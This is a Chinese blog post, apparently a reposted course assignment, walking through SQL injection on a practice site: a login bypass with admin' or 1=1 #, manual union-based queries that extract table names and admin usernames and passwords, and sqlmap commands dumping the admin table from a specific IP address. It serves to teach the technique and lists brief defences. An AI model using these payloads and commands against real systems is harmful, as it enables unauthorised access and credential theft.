sql注入基础知识
2024-09-04 08:06:09
信息安全概论课堂作业
SQL注入之万能密码漏洞
第一道题是牵扯到了万能密码漏洞
用户名先输入个’
返回了sql报错语句,猜测存在sql注入漏洞
使用万能密码测试
登陆成功
原理
假设登录框处的判断代码如下:
1 |
SELECT * FROM admin where name='".$_POST['name']."'and password='".$_POST['password']"'; |
在账号框中输入admin'or 1=1 #
,密码随便输,sql语句就变成了:
1 |
SELECT * FROM admin where name='admin' or 1=1 #'and password='任意字符'; |
符号’将语句闭合
#号将admin' or 1=1
后面的语句注释
剩下有效的sql代码变成了
1 |
SELECT * FROM admin where name='admin' or 1=1; |
这段代码意思就是 ‘admin’ or 1=1 (真 or 真)是一个恒为真的判断
服务器收到了返回真的验证,就绕过了登录
防止方法
1.字符转义
2.字符替换
3.百度如何预防SQL注入
SQL注入之字符型注入
利用手动注入
打开网站看到网址有个id参数
判断注入类型
输入id=1 and 1=1#
页面正常
输入id=1 and 1=2#
页面出现异常
猜测为数字注入
判断字段数
输入id=1 order by 2#
页面正常
输入id=1 order by 3#
页出出现异常
得知有两个字段
判断字段回显位置
输入
1 |
id=1 and 1=2 union select 1,2# |
查看字段位置
查看数据库名
字
输入
1 |
id=6666 union select 1,database()# |
出现数据库名字:maoshe
查看表名
输入
1 |
id=id=6666 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()# |
出现了很多表名
查看字段名
我们需要的是admin表
输入
1 |
id=6666 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin'# |
看到了字段名id、username、password
查看字段里的数据
输入
1 |
id=6666 union select 1,group_concat(id,":",username,":",password) from admin# |
看到了管理员用户名和密码
利用sqlmap工具注入
检查注入点:
1 |
python .\sqlmap.py -u 'http://59.63.200.79:8003/?id=1' --dbs |
爆数据库的信息:
1 |
python .\sqlmap.py -u 'http://59.63.200.79:8003/?id=1' --dbs |
爆当前数据库信息:
1 |
python .\sqlmap.py -u 'http://59.63.200.79:8003/?id=1' --current-db |
指定库名表名列出所有字段
1 |
python .\sqlmap.py -u 'http://59.63.200.79:8003/?id=1' -D maoshe -T admin --column |
指定库名表名字段dump出指定字段
python .\sqlmap.py -u 'http://59.63.200.79:8003/?id=1' -D maoshe -T admin -C username password --dump
内容来自于
http://reb0rn.design/2019/10/13/信息安全概论课堂作业/
最新文章
- ecshop中foreach的详细用法归纳
- GitHub 上一份很受欢迎的前端代码优化指南
- Chrome扩展程序的二次开发:把它改得更适合自己使用
- 为什么数值类型byte取值范围是(-128~127)?
- boot/head.S
- 关于cookie
- 网站优化与Cdn文件传输服务
- GUI(国际象棋棋盘)
- asyncio 基础用法
- CentOS:xmr-stak-cpu安装,服务器CPU挖Monero门罗币
- NuGet的简单使用
- 遍历tr通过name获取对应值用作判断或者赋值
- Unity实现用户条款弹窗及登录
- git push后出错
- Nexus 3 搭建 npm 私服 (windows)
- Fundebug累计处理1000万条错误事件!
- selenium-server-standalone 和selenium-server, selenium-java的区别
- Tensorflow timeline trace
- 九. Python基础(9)--命名空间, 作用域
- .NET4.0中使用4.5中的 async/await 功能实现异步
热门文章
- C++-POJ3070-Fibonacci-[矩阵乘法][快速幂]
- 微信小程序scroll-view去除滚动条
- 彻底禁用Chrome插件停用开发者模式提示插件version.dll
- Node.js、npm和webpack的安装
- 关于EasyUI DataGrid行编辑时嵌入时间控件
- Java生鲜电商平台-生鲜电商订单结算系统的深入解析与反思总结
- matlab 霍夫变换—检测圆
- go语言 RSA数字签名和验证签名
- No serializer found for class org.hibernate.proxy.pojo.bytebuddy.ByteBuddyInterceptor
- HDU1024 Max Sum Plus Plus(dp)